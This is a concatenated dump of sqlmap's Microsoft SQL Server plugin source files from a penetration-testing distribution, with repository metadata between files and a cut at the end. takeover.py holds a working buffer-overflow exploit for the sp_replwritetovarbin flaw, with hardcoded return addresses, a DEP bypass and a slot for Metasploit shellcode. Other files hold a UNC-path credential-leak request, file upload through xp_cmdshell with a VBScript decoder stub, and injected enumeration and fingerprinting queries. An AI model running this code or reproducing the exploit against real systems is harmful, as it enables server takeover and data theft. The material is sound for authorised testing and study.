"%s file content to file '%s', please wait.." % (fileType, dFile) logger.info(infoMsg) randVbs = "tmps%s.vbs" % randomStr(lowercase=True) randFile = "tmpf%s.txt" % randomStr(lowercase=True) randFilePath = "%s\%s" % (tmpPath, randFile) vbs = """Dim inputFilePath, outputFilePath inputFilePath = "%s" outputFilePath = "%s" Set fs = CreateObject("Scripting.FileSystemObject") Set file = fs.GetFile(inputFilePath) If file.Size Then Wscript.Echo "Loading from: " & inputFilePath Wscript.Echo Set fd = fs.OpenTextFile(inputFilePath, 1) data = fd.ReadAll fd.Close data = Replace(data, " ", "") data = Replace(data, vbCr, "") data = Replace(data, vbLf, "") Wscript.Echo "Fixed Input: " Wscript.Echo data Wscript.Echo decodedData = base64_decode(data) Wscript.Echo "Output: " Wscript.Echo decodedData Wscript.Echo Wscript.Echo "Writing output in: " & outputFilePath Wscript.Echo Set ofs = CreateObject("Scripting.FileSystemObject").OpenTextFile(outputFilePath, 2, True) ofs.Write decodedData ofs.close Else Wscript.Echo "The file is empty." End If Function base64_decode(byVal strIn) Dim w1, w2, w3, w4, n, strOut For n = 1 To Len(strIn) Step 4 w1 = mimedecode(Mid(strIn, n, 1)) w2 = mimedecode(Mid(strIn, n + 1, 1)) w3 = mimedecode(Mid(strIn, n + 2, 1)) w4 = mimedecode(Mid(strIn, n + 3, 1)) If Not w2 Then _ strOut = strOut + Chr(((w1 * 4 + Int(w2 / 16)) And 255)) If Not w3 Then _ strOut = strOut + Chr(((w2 * 16 + Int(w3 / 4)) And 255)) If Not w4 Then _ strOut = strOut + Chr(((w3 * 64 + w4) And 255)) Next base64_decode = strOut End Function Function mimedecode(byVal strIn) Base64Chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" If Len(strIn) = 0 Then mimedecode = -1 : Exit Function Else mimedecode = InStr(Base64Chars, strIn) - 1 End If End Function""" % (randFilePath, dFile) vbs = vbs.replace(" ", "") encodedFileContent = base64encode(wFileContent) logger.debug("uploading the file base64-encoded content to %s, please wait.." % randFilePath) self.xpCmdshellWriteFile(encodedFileContent, tmpPath, randFile) logger.debug("uploading a visual basic decoder stub %s\%s, please wait.." % (tmpPath, randVbs)) self.xpCmdshellWriteFile(vbs, tmpPath, randVbs) commands = ("cd \"%s\"" % tmpPath, "cscript //nologo %s" % randVbs, "del /F /Q %s" % randVbs, "del /F /Q %s" % randFile) complComm = " & ".join(command for command in commands) self.execCmd(complComm) def stackedWriteFile(self, wFile, dFile, fileType, forceCheck=False): # NOTE: this is needed here because we use xp_cmdshell extended # procedure to write a file on the back-end Microsoft SQL Server # file system self.initEnv() self.getRemoteTempPath() tmpPath = posixToNtSlashes(conf.tmpPath) dFile = posixToNtSlashes(dFile) with open(wFile, "rb") as f: wFileContent = f.read() self._stackedWriteFilePS(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the custom Visual Basic script technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileVbs(tmpPath, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) if written is False: message = "do you want to try to upload the file with " message += "the built-in debug.exe technique? [Y/n] " choice = readInput(message, default="Y") if not choice or choice.lower() == "y": self._stackedWriteFileDebugExe(tmpPath, wFile, wFileContent, dFile, fileType) written = self.askCheckWrittenFile(wFile, dFile, forceCheck) return written
15,189
Python
.py
289
41.567474
283
0.612487
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,143
connector.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/connector.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ try: import _mssql import pymssql except ImportError: pass import logging from lib.core.convert import utf8encode from lib.core.data import conf from lib.core.data import logger from lib.core.exception import SqlmapConnectionException from plugins.generic.connector import Connector as GenericConnector class Connector(GenericConnector): """ Homepage: http://pymssql.sourceforge.net/ User guide: http://pymssql.sourceforge.net/examples_pymssql.php API: http://pymssql.sourceforge.net/ref_pymssql.php Debian package: python-pymssql License: LGPL Possible connectors: http://wiki.python.org/moin/SQL%20Server Important note: pymssql library on your system MUST be version 1.0.2 to work, get it from http://sourceforge.net/projects/pymssql/files/pymssql/1.0.2/ """ def __init__(self): GenericConnector.__init__(self) def connect(self): self.initConnection() try: self.connector = pymssql.connect(host="%s:%d" % (self.hostname, self.port), user=self.user, password=self.password, database=self.db, login_timeout=conf.timeout, timeout=conf.timeout) except (pymssql.InterfaceError, pymssql.OperationalError), msg: raise SqlmapConnectionException(msg) self.initCursor() self.printConnected() def fetchall(self): try: return self.cursor.fetchall() except (pymssql.ProgrammingError, pymssql.OperationalError, _mssql.MssqlDatabaseException), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) return None def execute(self, query): retVal = False try: self.cursor.execute(utf8encode(query)) retVal = True except (pymssql.OperationalError, pymssql.ProgrammingError), msg: logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % str(msg).replace("\n", " ")) except pymssql.InternalError, msg: raise SqlmapConnectionException(msg) return retVal def select(self, query): retVal = None if self.execute(query): retVal = self.fetchall() try: self.connector.commit() except pymssql.OperationalError: pass return retVal
2,525
Python
.py
62
33.354839
195
0.681669
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,144
syntax.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/syntax.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from plugins.generic.syntax import Syntax as GenericSyntax class Syntax(GenericSyntax): def __init__(self): GenericSyntax.__init__(self) @staticmethod def escape(expression, quote=True): """ >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") 'SELECT CHAR(97)+CHAR(98)+CHAR(99)+CHAR(100)+CHAR(101)+CHAR(102)+CHAR(103)+CHAR(104) FROM foobar' """ def escaper(value): return "+".join("%s(%d)" % ("CHAR" if ord(value[i]) < 256 else "NCHAR", ord(value[i])) for i in xrange(len(value))) return Syntax._escape(expression, quote, escaper)
759
Python
.py
18
36.388889
127
0.64898
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,145
__init__.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/__init__.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import DBMS from lib.core.settings import MSSQL_SYSTEM_DBS from lib.core.unescaper import unescaper from plugins.dbms.mssqlserver.enumeration import Enumeration from plugins.dbms.mssqlserver.filesystem import Filesystem from plugins.dbms.mssqlserver.fingerprint import Fingerprint from plugins.dbms.mssqlserver.syntax import Syntax from plugins.dbms.mssqlserver.takeover import Takeover from plugins.generic.misc import Miscellaneous class MSSQLServerMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): """ This class defines Microsoft SQL Server methods """ def __init__(self): self.excludeDbsList = MSSQL_SYSTEM_DBS Syntax.__init__(self) Fingerprint.__init__(self) Enumeration.__init__(self) Filesystem.__init__(self) Miscellaneous.__init__(self) Takeover.__init__(self) unescaper[DBMS.MSSQL] = Syntax.escape
1,081
Python
.py
27
35.962963
92
0.758357
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,146
fingerprint.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/fingerprint.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.common import Backend from lib.core.common import Format from lib.core.common import getUnicode from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import OS from lib.core.session import setDbms from lib.core.settings import MSSQL_ALIASES from lib.request import inject from plugins.generic.fingerprint import Fingerprint as GenericFingerprint class Fingerprint(GenericFingerprint): def __init__(self): GenericFingerprint.__init__(self, DBMS.MSSQL) def getFingerprint(self): value = "" wsOsFp = Format.getOs("web server", kb.headersFp) if wsOsFp: value += "%s\n" % wsOsFp if kb.data.banner: dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) if dbmsOsFp: value += "%s\n" % dbmsOsFp value += "back-end DBMS: " actVer = Format.getDbms() if not conf.extensiveFp: value += actVer return value blank = " " * 15 value += "active fingerprint: %s" % actVer if kb.bannerFp: release = kb.bannerFp["dbmsRelease"] if 'dbmsRelease' in kb.bannerFp else None version = kb.bannerFp["dbmsVersion"] if 'dbmsVersion' in kb.bannerFp else None servicepack = kb.bannerFp["dbmsServicePack"] if 'dbmsServicePack' in kb.bannerFp else None if release and version and servicepack: banVer = "%s %s " % (DBMS.MSSQL, release) banVer += "Service Pack %s " % servicepack banVer += "version %s" % version value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) htmlErrorFp = Format.getErrorParsedDBMSes() if htmlErrorFp: value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) return value def checkDbms(self): if not conf.extensiveFp and (Backend.isDbmsWithin(MSSQL_ALIASES) \ or (conf.dbms or "").lower() in MSSQL_ALIASES) and Backend.getVersion() and \ Backend.getVersion().isdigit(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) self.getBanner() Backend.setOs(OS.WINDOWS) return True infoMsg = "testing %s" % DBMS.MSSQL logger.info(infoMsg) # NOTE: SELECT LEN(@@VERSION)=LEN(@@VERSION) FROM DUAL does not # work connecting directly to the Microsoft SQL Server database if conf.direct: result = True else: result = inject.checkBooleanExpression("SQUARE([RANDNUM])=SQUARE([RANDNUM])") if result: infoMsg = "confirming %s" % DBMS.MSSQL logger.info(infoMsg) for version, check in (("2000", "HOST_NAME()=HOST_NAME()"), \ ("2005", "XACT_STATE()=XACT_STATE()"), \ ("2008", "SYSDATETIME()=SYSDATETIME()"), \ ("2012", "CONCAT(NULL,NULL)=CONCAT(NULL,NULL)")): result = inject.checkBooleanExpression(check) if result: Backend.setVersion(version) if Backend.getVersion(): setDbms("%s %s" % (DBMS.MSSQL, Backend.getVersion())) else: setDbms(DBMS.MSSQL) self.getBanner() Backend.setOs(OS.WINDOWS) return True else: warnMsg = "the back-end DBMS is not %s" % DBMS.MSSQL logger.warn(warnMsg) return False def checkDbmsOs(self, detailed=False): if Backend.getOs() and Backend.getOsVersion() and Backend.getOsServicePack(): return if not Backend.getOs(): Backend.setOs(OS.WINDOWS) if not detailed: return infoMsg = "fingerprinting the back-end DBMS operating system " infoMsg += "version and service pack" logger.info(infoMsg) infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs() self.createSupportTbl(self.fileTblName, self.tblField, "varchar(1000)") inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "@@VERSION")) # Reference: http://en.wikipedia.org/wiki/Comparison_of_Microsoft_Windows_versions # http://en.wikipedia.org/wiki/Windows_NT#Releases versions = { "NT": ("4.0", (6, 5, 4, 3, 2, 1)), "2000": ("5.0", (4, 3, 2, 1)), "XP": ("5.1", (3, 2, 1)), "2003": ("5.2", (2, 1)), "Vista or 2008": ("6.0", (2, 1)), "7 or 2008 R2": ("6.1", (1, 0)), "8 or 2012": ("6.2", (0,)), "8.1 or 2012 R2": ("6.3", (0,)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsVersion(version) infoMsg += " %s" % Backend.getOsVersion() break if not Backend.getOsVersion(): Backend.setOsVersion("2003") Backend.setOsServicePack(2) warnMsg = "unable to fingerprint the underlying operating " warnMsg += "system version, assuming it is Windows " warnMsg += "%s Service Pack %d" % (Backend.getOsVersion(), Backend.getOsServicePack()) logger.warn(warnMsg) self.cleanup(onlyFileTbl=True) return # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] for sp in sps: query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" result = inject.checkBooleanExpression(query) if result: Backend.setOsServicePack(sp) break if not Backend.getOsServicePack(): debugMsg = "assuming the operating system has no service pack" logger.debug(debugMsg) Backend.setOsServicePack(0) if Backend.getOsVersion(): infoMsg += " Service Pack %d" % Backend.getOsServicePack() logger.info(infoMsg) self.cleanup(onlyFileTbl=True)
6,820
Python
.py
144
35.618056
107
0.58029
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,147
takeover.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/takeover.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ import binascii from lib.core.common import Backend from lib.core.data import logger from lib.core.exception import SqlmapUnsupportedFeatureException from lib.request import inject from plugins.generic.takeover import Takeover as GenericTakeover class Takeover(GenericTakeover): def __init__(self): self.spExploit = "" GenericTakeover.__init__(self) def uncPathRequest(self): #inject.goStacked("EXEC master..xp_fileexist '%s'" % self.uncPath, silent=True) inject.goStacked("EXEC master..xp_dirtree '%s'" % self.uncPath) def spHeapOverflow(self): """ References: * http://www.microsoft.com/technet/security/bulletin/MS09-004.mspx * http://support.microsoft.com/kb/959420 """ returns = { # 2003 Service Pack 0 "2003-0": (""), # 2003 Service Pack 1 "2003-1": ("CHAR(0xab)+CHAR(0x2e)+CHAR(0xe6)+CHAR(0x7c)", "CHAR(0xee)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0xb5)+CHAR(0x60)+CHAR(0xa8)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x03)+CHAR(0x1d)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x13)+CHAR(0xe4)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)", "CHAR(0x1e)+CHAR(0x1d)+CHAR(0x88)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 12/2008 #"2003-2": ("CHAR(0xe4)+CHAR(0x37)+CHAR(0xea)+CHAR(0x7c)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)", "CHAR(0x1b)+CHAR(0xa0)+CHAR(0x86)+CHAR(0x7c)" ), # 2003 Service Pack 2 updated at 05/2009 "2003-2": ("CHAR(0xc3)+CHAR(0xdb)+CHAR(0x67)+CHAR(0x77)", "CHAR(0x15)+CHAR(0xc9)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x96)+CHAR(0xdc)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x73)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x47)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0x0f)+CHAR(0x31)+CHAR(0x8e)+CHAR(0x7c)"), # 2003 Service Pack 2 updated at 09/2009 #"2003-2": ("CHAR(0xc3)+CHAR(0xc2)+CHAR(0xed)+CHAR(0x7c)", "CHAR(0xf3)+CHAR(0xd9)+CHAR(0xa7)+CHAR(0x7c)", "CHAR(0x99)+CHAR(0xc8)+CHAR(0x93)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x63)+CHAR(0x1e)+CHAR(0x8f)+CHAR(0x7c)", "CHAR(0x17)+CHAR(0xf5)+CHAR(0x83)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)", "CHAR(0xa4)+CHAR(0xde)+CHAR(0x8e)+CHAR(0x7c)"), } addrs = None for versionSp, data in returns.items(): version, sp = versionSp.split("-") sp = int(sp) if Backend.getOsVersion() == version and Backend.getOsServicePack() == sp: addrs = data break if not addrs: errMsg = "sqlmap can not exploit the stored procedure buffer " errMsg += "overflow because it does not have a valid return " errMsg += "code for the underlying operating system (Windows " errMsg += "%s Service Pack %d)" % (Backend.getOsVersion(), Backend.getOsServicePack()) raise SqlmapUnsupportedFeatureException(errMsg) shellcodeChar = "" hexStr = binascii.hexlify(self.shellcodeString[:-1]) for hexPair in xrange(0, len(hexStr), 2): shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair + 2] shellcodeChar = shellcodeChar[:-1] self.spExploit = """DECLARE @buf NVARCHAR(4000), @val NVARCHAR(4), @counter INT SET @buf = ' DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,''' SET @val = CHAR(0x41) SET @counter = 0 WHILE @counter < 3320 BEGIN SET @counter = @counter + 1 IF @counter = 411 BEGIN /* pointer to call [ecx+8] */ SET @buf = @buf + %s /* push ebp, pop esp, ret 4 */ SET @buf = @buf + %s /* push ecx, pop esp, pop ebp, retn 8 */ SET @buf = @buf + %s /* Garbage */ SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51) /* retn 1c */ SET @buf = @buf + %s /* retn 1c */ SET @buf = @buf + %s /* anti DEP */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s /* jmp esp */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90) set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00) set @buf = @buf + CHAR(0x8B)+CHAR(0xEC) set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20) /* Metasploit shellcode */ SET @buf = @buf + %s SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3) SET @counter = @counter + 302 SET @val = CHAR(0x43) CONTINUE END SET @buf = @buf + @val END SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41''' EXEC master..sp_executesql @buf """ % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar) self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ") logger.info("triggering the buffer overflow vulnerability, please wait..") inject.goStacked(self.spExploit, silent=True)
6,410
Python
.py
109
47.513761
409
0.575076
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,148
enumeration.py
pwnieexpress_raspberry_pwn/src/pentest/sqlmap/plugins/dbms/mssqlserver/enumeration.py
#!/usr/bin/env python """ Copyright (c) 2006-2014 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isNoneValue from lib.core.common import isNumPosStrValue from lib.core.common import isTechniqueAvailable from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.data import conf from lib.core.data import kb from lib.core.data import logger from lib.core.data import queries from lib.core.enums import CHARSET_TYPE from lib.core.enums import EXPECTED from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapNoneDataException from lib.core.settings import CURRENT_DB from lib.request import inject from plugins.generic.enumeration import Enumeration as GenericEnumeration class Enumeration(GenericEnumeration): def __init__(self): GenericEnumeration.__init__(self) def getPrivileges(self, *args): warnMsg = "on Microsoft SQL Server it is not possible to fetch " warnMsg += "database users privileges, sqlmap will check whether " warnMsg += "or not the database users are database administrators" logger.warn(warnMsg) users = [] areAdmins = set() if conf.user: users = [conf.user] elif not len(kb.data.cachedUsers): users = self.getUsers() else: users = kb.data.cachedUsers for user in users: if user is None: continue isDba = self.isDba(user) if isDba is True: areAdmins.add(user) kb.data.cachedUsersPrivileges[user] = None return (kb.data.cachedUsersPrivileges, areAdmins) def getTables(self): if len(kb.data.cachedTables) > 0: return kb.data.cachedTables self.forceDbmsEnum() if conf.db == CURRENT_DB: conf.db = self.getCurrentDb() if conf.db: dbs = conf.db.split(",") else: dbs = self.getDbs() for db in dbs: dbs[dbs.index(db)] = safeSQLIdentificatorNaming(db) dbs = filter(None, dbs) infoMsg = "fetching tables for database" infoMsg += "%s: %s" % ("s" if len(dbs) > 1 else "", ", ".join(db if isinstance(db, basestring) else db[0] for db in sorted(dbs))) logger.info(infoMsg) rootQuery = queries[Backend.getIdentifiedDbms()].tables if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue for query in (rootQuery.inband.query, rootQuery.inband.query2, rootQuery.inband.query3): query = query.replace("%s", db) value = inject.getValue(query, blind=False, time=False) if not isNoneValue(value): break if not isNoneValue(value): value = filter(None, arrayizeValue(value)) value = [safeSQLIdentificatorNaming(_, True) for _ in value] kb.data.cachedTables[db] = value if not kb.data.cachedTables and isInferenceAvailable() and not conf.direct: for db in dbs: if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue infoMsg = "fetching number of tables for " infoMsg += "database '%s'" % db logger.info(infoMsg) for query in (rootQuery.blind.count, rootQuery.blind.count2, rootQuery.blind.count3): _ = query.replace("%s", db) count = inject.getValue(_, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNoneValue(count): break if not isNumPosStrValue(count): if count != 0: warnMsg = "unable to retrieve the number of " warnMsg += "tables for database '%s'" % db logger.warn(warnMsg) continue tables = [] for index in xrange(int(count)): _ = (rootQuery.blind.query if query == rootQuery.blind.count else rootQuery.blind.query2 if query == rootQuery.blind.count2 else rootQuery.blind.query3).replace("%s", db) % index table = inject.getValue(_, union=False, error=False) if not isNoneValue(table): kb.hintValue = table table = safeSQLIdentificatorNaming(table, True) tables.append(table) if tables: kb.data.cachedTables[db] = tables else: warnMsg = "unable to retrieve the tables " warnMsg += "for database '%s'" % db logger.warn(warnMsg) if not kb.data.cachedTables: errMsg = "unable to retrieve the tables for any database" raise SqlmapNoneDataException(errMsg) else: for db, tables in kb.data.cachedTables.items(): kb.data.cachedTables[db] = sorted(tables) if tables else tables return kb.data.cachedTables def searchTable(self): foundTbls = {} tblList = conf.tbl.split(",") rootQuery = queries[Backend.getIdentifiedDbms()].search_table tblCond = rootQuery.inband.condition tblConsider, tblCondParam = self.likeOrExact("table") if conf.db and conf.db != CURRENT_DB: enumDbs = conf.db.split(",") elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) foundTbls[db] = [] for tbl in tblList: tbl = safeSQLIdentificatorNaming(tbl, True) infoMsg = "searching table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(tbl) logger.info(infoMsg) tblQuery = "%s%s" % (tblCond, tblCondParam) tblQuery = tblQuery % unsafeSQLIdentificatorNaming(tbl) for db in foundTbls.keys(): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: infoMsg = "skipping system database '%s'" % db logger.info(infoMsg) continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query.replace("%s", db) query += tblQuery values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, basestring): values = [values] for foundTbl in values: if foundTbl is None: continue foundTbls[db].append(foundTbl) else: infoMsg = "fetching number of table" if tblConsider == "1": infoMsg += "s like" infoMsg += " '%s' in database '%s'" % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(db)) logger.info(infoMsg) query = rootQuery.blind.count query = query.replace("%s", db) query += " AND %s" % tblQuery count = inject.getValue(query, union=False, error=False, expected=EXPECTED.INT, charsetType=CHARSET_TYPE.DIGITS) if not isNumPosStrValue(count): warnMsg = "no table" if tblConsider == "1": warnMsg += "s like" warnMsg += " '%s' " % unsafeSQLIdentificatorNaming(tbl) warnMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(db) logger.warn(warnMsg) continue indexRange = getLimitRange(count) for index in indexRange: query = rootQuery.blind.query query = query.replace("%s", db) query += " AND %s" % tblQuery query = agent.limitQuery(index, query, tblCond) tbl = inject.getValue(query, union=False, error=False) kb.hintValue = tbl foundTbls[db].append(tbl) for db, tbls in foundTbls.items(): if len(tbls) == 0: foundTbls.pop(db) if not foundTbls: warnMsg = "no databases contain any of the provided tables" logger.warn(warnMsg) return conf.dumper.dbTables(foundTbls) self.dumpFoundTables(foundTbls) def searchColumn(self): rootQuery = queries[Backend.getIdentifiedDbms()].search_column foundCols = {} dbs = {} whereTblsQuery = "" infoMsgTbl = "" infoMsgDb = "" colList = conf.col.split(",") if conf.excludeCol: colList = [_ for _ in colList if _ not in conf.excludeCol.split(',')] origTbl = conf.tbl origDb = conf.db colCond = rootQuery.inband.condition tblCond = rootQuery.inband.condition2 colConsider, colCondParam = self.likeOrExact("column") if conf.db and conf.db != CURRENT_DB: enumDbs = conf.db.split(",") elif not len(kb.data.cachedDbs): enumDbs = self.getDbs() else: enumDbs = kb.data.cachedDbs for db in enumDbs: db = safeSQLIdentificatorNaming(db) dbs[db] = {} for column in colList: column = safeSQLIdentificatorNaming(column) conf.db = origDb conf.tbl = origTbl infoMsg = "searching column" if colConsider == "1": infoMsg += "s like" infoMsg += " '%s'" % unsafeSQLIdentificatorNaming(column) foundCols[column] = {} if conf.tbl: _ = conf.tbl.split(",") whereTblsQuery = " AND (" + " OR ".join("%s = '%s'" % (tblCond, unsafeSQLIdentificatorNaming(tbl)) for tbl in _) + ")" infoMsgTbl = " for table%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(tbl for tbl in _)) if conf.db and conf.db != CURRENT_DB: _ = conf.db.split(",") infoMsgDb = " in database%s '%s'" % ("s" if len(_) > 1 else "", ", ".join(db for db in _)) elif conf.excludeSysDbs: infoMsg2 = "skipping system database%s '%s'" % ("s" if len(self.excludeDbsList) > 1 else "", ", ".join(db for db in self.excludeDbsList)) logger.info(infoMsg2) else: infoMsgDb = " across all databases" logger.info("%s%s%s" % (infoMsg, infoMsgTbl, infoMsgDb)) colQuery = "%s%s" % (colCond, colCondParam) colQuery = colQuery % unsafeSQLIdentificatorNaming(column) for db in filter(None, dbs.keys()): db = safeSQLIdentificatorNaming(db) if conf.excludeSysDbs and db in self.excludeDbsList: continue if any(isTechniqueAvailable(_) for _ in (PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.QUERY)) or conf.direct: query = rootQuery.inband.query % (db, db, db, db, db, db) query += " AND %s" % colQuery.replace("[DB]", db) query += whereTblsQuery.replace("[DB]", db) values = inject.getValue(query, blind=False, time=False) if not isNoneValue(values): if isinstance(values, basestring): values = [values] for foundTbl in values: foundTbl = safeSQLIdentificatorNaming(foundTbl, True) if foundTbl is None: continue if foundTbl not in dbs[db]: dbs[db][foundTbl] = {} if colConsider == "1": conf.db = db conf.tbl = foundTbl conf.col = column self.getColumns(onlyColNames=True, colTuple=(colConsider, colCondParam), bruteForce=False) if db in kb.data.cachedColumns and foundTbl in kb.data.cachedColumns[db]\ and not isNoneValue(kb.data.cachedColumns[db][foundTbl]): dbs[db][foundTbl].update(kb.data.cachedColumns[db][foundTbl]) kb.data.cachedColumns = {} else: dbs[db][foundTbl][column] = None if db in foundCols[column]: foundCols[column][db].append(foundTbl) else: foundCols[column][db] = [foundTbl] else: foundCols[column][db] = [] infoMsg = "fetching number of tables containing column" if 